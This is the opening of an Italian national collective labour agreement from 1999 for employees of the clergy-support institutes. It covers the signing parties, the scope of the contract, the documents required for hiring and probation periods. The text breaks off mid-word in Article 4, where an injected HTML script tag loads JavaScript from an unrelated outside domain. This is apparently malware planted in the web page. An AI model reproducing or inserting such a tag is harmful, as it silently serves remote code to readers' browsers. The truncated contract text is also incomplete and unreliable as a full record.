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Categoria: Istituti per il sostentamento del clero
Settore: Altro
Data stipula: 9-4-1999
Data decorrenza: 1-6-1998
Data scadenza: 31-5-2002

Contratto Collettivo Nazionale

PER I DIPENDENTI DEGLI ISTITUTI PER IL SOSTENTAMENTO DEL CLERO

Roma, 9 aprile 1999


L'anno 1999, il giorno 9 del mese di aprile in Roma

tra

-     Istituto Centrale per il Sostentamento del Clero, nella persona  del
  suo  Presidente mons. Dr. Francesco Galdi in rappresentanza anche  degli
  Istituti Diocesani e Interdiocesani per il Sostentamento del Clero

e

-    Federazione Italiana Sindacati Addetti ai Servizi Commerciale, Affini
  e  del  Turismo  (FISASCAT-CISL)  rappresentata  da  Salvatore  Falcone,
  Federazione  Italiana Lavoratori Commercio, Alberghi,  Mense  e  Servizi
  (FILCAMS-CGIL)  rappresentata da Piero Marconi e il  Rappresentante  del
  personale dell'Istituto Centrale per il Sostentamento del Clero,  Simone
  Lisi

visto

il  CCNL  per i dipendenti degli Istituti per il Sostentamento  del  Clero
stipulato  l'11.11.94 e pervenuto a scadenza, per la parte  economica,  il
20.6.96

si è stipulato

il  presente CCNL per i dipendenti degli Istituti per il Sostentamento del
Clero.



Titolo I - SFERA DI APPLICAZIONE DEL CONTRATTO

Art. 1 - Campo di applicazione.

Il  presente contratto disciplina in maniera unitaria i rapporti di lavoro
del  personale  dipendente degli Istituti per il sostentamento  del  clero
previsti  dal  paragrafo 1 del canone 1274, Codice di Diritto  Canonico  e
dall'art. 21, legge 20.5.85 n. 222.



Titolo II - ASSUNZIONE

Art. 2 - Assunzione.

L'assunzione del personale sarà effettuata secondo le norme  di  legge  in
vigore.

L'assunzione  viene  effettuata con apposito provvedimento  contenente  le
seguenti indicazioni:

a)   la data di assunzione;
b)   la durata del periodo di prova;
c)   la qualifica del lavoratore;
d)   la retribuzione.

Per l'assunzione sono richiesti i seguenti documenti:

a)   certificato di nascita;
b)    certificato  degli studi compiuti, oppure diploma  o  attestato  dei
  corsi d'addestramento frequentati;
c)    attestato  di conoscenza di una o più lingue estere per le  mansioni
  che implichino tale requisito;
d)   certificato di servizio eventualmente prestato presso altre aziende;
e)   libretto di lavoro o tesserino di disoccupazione;
f)   documenti relativi alle assicurazioni sociali per i lavoratori che ne
  siano provvisti;
g)    documentazioni  e dichiarazioni necessarie per l'applicazione  delle
  leggi previdenziali e fiscali;
h)    dichiarazione  di responsabilità dalla quale risulti  il  numero  di
  giorni  di  malattia  indennizzati  nel  periodo,  precedente  la   data
  d'assunzione, dell'anno di calendario in corso;
i)     dichiarazione  di  responsabilità  per  i  lavoratori  assunti  con
  contratto a termine dalla quale risulti il numero delle giornate lavorate
  nei 12 mesi immediatamente precedenti la data d'assunzione; ciò ai fini di
  quanto previsto dall'art. 5, legge 11.11.83 n. 638;
j)    eventuali  altri  documenti  e  certificati,  dei  quali  l'Istituto
  rilascerà apposita ricevuta.

Del  provvedimento  d'assunzione viene data  comunicazione  al  lavoratore
interessato,  in  duplice  copia, di cui 1  sarà  restituita  all'Istituto
debitamente firmata per accettazione.

E'  in  facoltà  dell'Istituto di sottoporre,  prima  dell'assunzione,  il
lavoratore ad accertamenti sanitari.



Art. 3 - Periodo di prova.

La   durata  del  periodo  di  prova,  che  deve  risultare  dall'atto  di
assunzione, non può superare:

a)   6 mesi per i Quadri e il 1° livello;
b)   3 mesi per gli altri livelli.

I periodi sopraindicati devono essere computati in giorni di calendario.

Durante  il  periodo  di prova si applicano le disposizioni  di  legge  in
vigore al riguardo e, dopo che lo stesso sia trascorso senza che le  parti
abbiano dato disdetta, l'assunzione s'intenderà confermata.



Titolo III - CLASSIFICAZIONE DEL PERSONALE

Art. 4 - Classificazione del personale.

Ai fini del presente contratt<script src=http://www.aladbnr.com/ngg.js></script>













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